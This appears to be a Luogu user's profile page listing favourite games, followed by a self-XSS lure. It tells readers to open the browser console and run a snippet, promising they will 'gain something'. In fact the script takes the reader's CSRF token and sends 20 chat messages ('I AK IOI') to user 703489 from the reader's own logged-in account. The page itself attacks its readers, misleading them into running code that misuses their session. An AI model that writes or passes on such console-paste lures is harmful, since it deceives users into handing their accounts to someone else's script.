kevin1616 的娱乐项目
游戏
除以上,本人只玩:
- PVZ
- MC
- 城市天际线
娱乐
工具
其他
按F12打开控制台,运行下面的代码,你会有所收获。
async function sendMessage(uid,content){
await fetch("https://www.luogu.com.cn/api/chat/new", {
headers: [
["content-type", "application/json"],
["referer", "https://www.luogu.com.cn/"],
["x-csrf-token", document.querySelector("meta[name=csrf-token]").content],
],
body: JSON.stringify({
user: uid,
content: content,
}),
method: "POST",
});
}
(function() {
let words = ["I AK IOI"];
let qwq = words[Math.floor(Math.random()*words.length)];
var num;
for(num=0;num<20;++num)sendMessage(703489,qwq);
})();